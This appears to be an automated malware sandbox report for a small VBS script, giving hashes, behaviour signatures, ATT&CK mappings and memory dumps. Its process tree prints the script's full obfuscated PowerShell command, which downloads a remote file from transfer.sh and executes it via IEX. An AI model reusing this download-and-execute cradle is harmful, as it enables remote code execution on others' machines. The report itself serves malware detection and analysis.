2c882065daea3d83e4ccadf5ce780f33b571ec1799691d0355c4c5a0c98dadc0

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-en-20211014
submitted
30-11-2021 18:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

V2N1M2_P.VBS
Size

556B
MD5

d720ecdccd82525a211f09cfefcee6ee
SHA1

f415e9c1a072bdd44f54edabfe5c57f39f71fb0c
SHA256

2c882065daea3d83e4ccadf5ce780f33b571ec1799691d0355c4c5a0c98dadc0
SHA512

1a18293a40e66e9efefb455577b819f83a33c6aa33e953b124130cc3d443658a501ece61edd18b2524224e053dba4dbe596c4ebf656943611b3e97b317770dd0

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1644 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1644 powershell.exe

pid	process
1644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1772 wrote to memory of 1644	1772	WScript.exe	powershell.exe
PID 1772 wrote to memory of 1644	1772	WScript.exe	powershell.exe
PID 1772 wrote to memory of 1644	1772	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\V2N1M2_P.VBS"
1⤵
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/oQmtoM/byyypass.txt')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1644-56-0x0000000000000000-mapping.dmp

Download
memory/1644-58-0x000007FEF2DE0000-0x000007FEF393D000-memory.dmp

Filesize
11.4MB

Download
memory/1644-61-0x0000000002554000-0x0000000002557000-memory.dmp

Filesize
12KB

Download
memory/1644-60-0x0000000002552000-0x0000000002554000-memory.dmp

Filesize
8KB

Download
memory/1644-59-0x0000000002550000-0x0000000002552000-memory.dmp

Filesize
8KB

Download
memory/1644-62-0x000000000255B000-0x000000000257A000-memory.dmp

Filesize
124KB

Download
memory/1772-55-0x000007FEFBF81000-0x000007FEFBF83000-memory.dmp

Filesize
8KB

Download